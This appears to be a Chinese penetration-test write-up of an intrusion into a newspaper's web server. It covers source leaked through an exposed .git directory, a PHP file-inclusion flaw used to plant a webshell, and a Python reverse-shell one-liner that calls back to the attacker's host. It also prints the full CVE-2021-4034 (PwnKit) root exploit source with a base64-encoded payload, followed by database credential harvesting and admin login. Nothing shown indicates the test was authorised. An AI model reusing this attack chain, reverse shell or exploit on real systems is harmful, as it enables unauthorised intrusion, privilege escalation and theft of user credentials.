1.目标资产 某报社
2.渗透流程 1.git泄露,gitdump获取源码,审计出文件包含
<?php @session_start (); @header ('Content-Type: text/html; charset=utf-8' ); include_once ("config/dbconfig.php" ); include_once ($JQlibs_path ."phop/contrller/ajax_key.php" );$filename = (empty ($_GET ['filename' ]))?"" :$_GET ['filename' ];include_once ($JQlibs_path .$filename ); ?>
2.upload/users/下图片存在异常图片,通过源码读出来发现是phpinfo() 可能是之前的师傅传上去的
通过文件包含得到phpinfo页面
3.文件包含+phpinfo()写入webshell达成rce exp 其他部分与原exp一致
成功上传shell到/tmp/g 蚁剑连接 其他设置->选择忽略https证书,成功上传
4.传回shell提权 试了几种有的不行,最终用python回传 蚁剑换行有问题,所以写一个python文件运行传回
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("服务器ip" ,服务器端口));os.dup2(s.fileno(),0 ); os.dup2(s.fileno(),1 ); os.dup2(s.fileno(),2 );p=subprocess.call(["/bin/sh" ,"-i" ]);
5.通过cve-2021-4034提权至root
网上找的exp
#include <unistd.h> #include <stdio.h> #include <stdlib.h> void enviroment () { system("mkdir 'GCONV_PATH=.' && touch 'GCONV_PATH=./tmp' && chmod +x 'GCONV_PATH=./tmp'" ); system("mkdir tmp;echo I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKdm9pZCBnY29udih2b2lkKSB7fQoKCnZvaWQgZ2NvbnZfaW5pdCh2b2lkICpzdGVwKQp7CgkvL1Blcm1zIAoJc2V0dWlkKDApOyBzZXRldWlkKDApOyBzZXRnaWQoMCk7IHNldGVnaWQoMCk7CQoJLy9JbnZvcXVlIFNoZWxsCgljaGFyICogc2hlbGxbXSA9IHsgIi9iaW4vYmFzaCIsICItaSIsIE5VTEwgfTsKCS8vRGVmaW5lIFBhdGgKCWNoYXIgKiBlbnZfdmFyc1tdID0geyAiUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iLCBOVUxMIH07CglleGVjdmUoc2hlbGxbMF0sIHNoZWxsLCBlbnZfdmFycyk7CglleGl0KDApOyAKfQo= | base64 -d > tmp/b64load.c; gcc tmp/b64load.c -o tmp/pwnkit.so -shared -fPIC " ); system("echo bW9kdWxlIFVURi04Ly8gUFdOS0lULy8gcHdua2l0IDIK | base64 -d > tmp/gconv-modules" ); } void banner () { setvbuf(stdout , NULL , _IONBF, 0 ); printf ("Current User before execute exploit\nhacker@victim$whoami: " );system("whoami" ); sleep(1 ); printf ("Exploit written by @luijait (0x6c75696a616974)" );} int main (int argc, char **argv) { banner(); enviroment(); char * const idk[] = { NULL }; char * const entorno[] = {"tmp" , "PATH=GCONV_PATH=." , "SHELL=/random" , "CHARSET=PWNKIT" , "GIO_USE_VFS=" ,NULL }; printf ("\n[+] Enjoy your root if exploit was completed succesfully\n" ); return execve("/usr/bin/pkexec" , idk, entorno); }
想传到目标主机编译执行,发现目标机器没有gcc
把在自己主机上编译好的exp传上去,但还是报错
发现第13行system函数里还有到gcc,只要把编译好的pwnkit.so传到目标的tmp文件夹下即可
成功提权
4.尝试登录后台
泄露源码中有多个数据库信息,测试出来只有一个能连上
批量获取用户账户和密码
解密解不出来,去看login源码发现可疑密码写在源码里,登陆成功
3.总结 1.查看泄露文件时应注意特殊文件(如极小的图片文件) 2.目标机器没有gcc可以本地编译再传上去执行 3.泄露的源码不一定可靠,如果能渗透进去应审计真实代码